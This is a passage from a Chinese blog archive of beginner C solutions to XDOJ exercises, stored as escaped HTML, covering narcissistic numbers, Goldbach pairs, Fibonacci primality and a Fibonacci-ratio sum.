class=\"comment\"\u003e count :计数变量,用于存储水仙花数的个数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e tmp, i, count;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* 交换a,b的值来确保a\u0026lt;b */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e a \u0026gt; b ? tmp = a, a = b, b = tmp : \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* 循环,遍历含a,b的在a,b间的所有数 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = a, count = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt;= b; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* bit :存储数字i的位数\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e bit_sum :存储数字i的各位幂次和\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e i_cpy :i的复制,用来参与求i位数的计算,防止i的值改变,影响循环\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e j :循环变量,用来参与求i各位幂次和的运算\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"comment\"\u003e */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e bit, bit_sum, i_cpy = i, j;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* 计算i的位数,存储到变量bit中 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (bit = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i_cpy / (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003cspan class=\"built_in\"\u003epow\u003c/span\u003e(\u003cspan class=\"number\"\u003e10\u003c/span\u003e, bit) != \u003cspan class=\"number\"\u003e0\u003c/span\u003e; bit++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e ;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* 恢复i_cpy的值为i,以便于参与接下来求i各位幂次和的运算 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e i_cpy = i;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* 计算i的各位幂次和 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (j = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, bit_sum = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; j \u0026lt; bit; j++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e bit_sum += (\u003cspan class=\"type\"\u003eint\u003c/span\u003e)\u003cspan class=\"built_in\"\u003epow\u003c/span\u003e(i_cpy % \u003cspan class=\"number\"\u003e10\u003c/span\u003e, bit), i_cpy /= \u003cspan class=\"number\"\u003e10\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"comment\"\u003e/* 根据水仙花数的定义(大于等于三位,各位幂次和为其本身)判断i是否为水仙花数 */\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i == bit_sum \u0026amp;\u0026amp; bit \u0026gt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e count++;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e count;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"54-哥德巴赫猜想\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#54-%E5%93%A5%E5%BE%B7%E5%B7%B4%E8%B5%AB%E7%8C%9C%E6%83%B3\" class=\"headerlink\" title=\"54.哥德巴赫猜想\"\u003e\u003c/a\u003e54.哥德巴赫猜想\u003c/h2\u003e\u003cp\u003e先吐槽下XDOJ上的\u003cstrong\u003e歌德巴赫猜想\u003c/strong\u003e(xswl\u003c/p\u003e\u003cp\u003e思路就是\u003ccode\u003efor\u003c/code\u003e循环,逐组尝试。注意C语言的模块化思想,设计程序时从抽象到具体。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eis_prime\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i, res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e, res = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt; num; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (num % i == \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; i != \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e a, i, min, max;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;a);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e2\u003c/span\u003e; i \u0026lt; a; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (is_prime(i) \u0026amp;\u0026amp; is_prime(a - i)) {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d %d\u0026#34;\u003c/span\u003e, i, a - i);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ebreak\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e }\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"55-斐波纳契数列素数判断\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#55-%E6%96%90%E6%B3%A2%E7%BA%B3%E5%A5%91%E6%95%B0%E5%88%97%E7%B4%A0%E6%95%B0%E5%88%A4%E6%96%AD\" class=\"headerlink\" title=\"55.斐波纳契数列素数判断\"\u003e\u003c/a\u003e55.斐波纳契数列素数判断\u003c/h2\u003e\u003cp\u003e直接把上面写好的\u003ccode\u003eis_prime\u003c/code\u003e拿过来,再写个\u003ccode\u003efib\u003c/code\u003e,就完成了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e21\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e22\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e23\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e24\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e25\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e26\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e27\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e28\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e29\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e30\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003eis_prime\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e num)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i, res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e1\u003c/span\u003e, res = \u003cspan class=\"number\"\u003e1\u003c/span\u003e; i \u0026lt; num; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (num % i == \u003cspan class=\"number\"\u003e0\u003c/span\u003e \u0026amp;\u0026amp; i != \u003cspan class=\"number\"\u003e1\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res = \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003efib\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e i)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i \u0026gt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e fib(i - \u003cspan class=\"number\"\u003e1\u003c/span\u003e) + fib(i - \u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e num;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;num);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (is_prime(fib(num)))\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;yes\u0026#34;\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, fib(num));\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"56-数列求和\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#56-%E6%95%B0%E5%88%97%E6%B1%82%E5%92%8C\" class=\"headerlink\" title=\"56.数列求和\"\u003e\u003c/a\u003e56.数列求和\u003c/h2\u003e\u003cp\u003e一个关于斐波那契数列的数列,对其求和。\u003c/p\u003e\u003cp\u003e思路很清晰,就是先用斐波那契数列表示出来这个数列,然后再进行逐项求和运算。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e16\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e17\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e18\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e19\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e20\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003edouble\u003c/span\u003e \u003cspan class=\"title function_\"\u003efib\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003eint\u003c/span\u003e i)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eif\u003c/span\u003e (i \u0026gt; \u003cspan class=\"number\"\u003e2\u003c/span\u003e)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e fib(i - \u003cspan class=\"number\"\u003e1\u003c/span\u003e) + fib(i - \u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003eelse\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e1.0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan class=\"title function_\"\u003emain\u003c/span\u003e\u003cspan class=\"params\"\u003e(\u003cspan class=\"type\"\u003evoid\u003c/span\u003e)\u003c/span\u003e {\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003eint\u003c/span\u003e i, n;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"type\"\u003edouble\u003c/span\u003e res;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003escanf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%d\u0026#34;\u003c/span\u003e, \u0026amp;n);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003efor\u003c/span\u003e (i = \u003cspan class=\"number\"\u003e0\u003c/span\u003e, res = \u003cspan class=\"number\"\u003e0\u003c/span\u003e; i \u0026lt; n; i++)\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e res += fib(i + \u003cspan class=\"number\"\u003e3\u003c/span\u003e) / fib(i + \u003cspan class=\"number\"\u003e2\u003c/span\u003e);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"built_in\"\u003eprintf\u003c/span\u003e(\u003cspan class=\"string\"\u003e\u0026#34;%.2f\u0026#34;\u003c/span\u003e, res);\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e \u003cspan class=\"keyword\"\u003ereturn\u003c/span\u003e \u003cspan class=\"number\"\u003e0\u003c/span\u003e;\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e}\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003c/tr\u003e\u003c/tbody\u003e\u003c/table\u003e\u003c/figure\u003e\u003ch2 id=\"57-字符串元素统计\"\u003e\u003ca href=\"https://xeonds.github.io/2021/09/29/%E8%AE%A1%E7%AE%97%E6%9C%BA%E7%A7%91%E5%AD%A6/%E7%BC%96%E7%A8%8B%E8%AF%AD%E8%A8%80/C%C2%B7C++/XDOJ-archive/#57-%E5%AD%97%E7%AC%A6%E4%B8%B2%E5%85%83%E7%B4%A0%E7%BB%9F%E8%AE%A1\" class=\"headerlink\" title=\"57.字符串元素统计\"\u003e\u003c/a\u003e57.字符串元素统计\u003c/h2\u003e\u003cp\u003e注意\u003ccode\u003eASCII码\u003c/code\u003e的灵活运用。还有就是\u003ccode\u003ech=getchar()\u003c/code\u003e的终止条件不要选错,不然就是死循环了。\u003c/p\u003e\u003cfigure class=\"highlight c\"\u003e\u003ctable\u003e\u003ctbody\u003e\u003ctr\u003e\u003ctd class=\"gutter\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e1\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e2\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e3\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e4\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e5\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e6\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e7\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e8\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e9\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e10\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e11\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e12\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e13\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e14\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e15\u003c/span\u003e\u003cbr/\u003e\u003c/pre\u003e\u003c/td\u003e\u003ctd class=\"code\"\u003e\u003cpre\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"meta\"\u003e#\u003cspan class=\"keyword\"\u003einclude\u003c/span\u003e \u003cspan class=\"string\"\u003e\u0026lt;stdio.h\u0026gt;\u003c/span\u003e\u003c/span\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003c/span\u003e\u003cbr/\u003e\u003cspan class=\"line\"\u003e\u003cspan class=\"type\"\u003eint\u003c/span\u003e \u003cspan 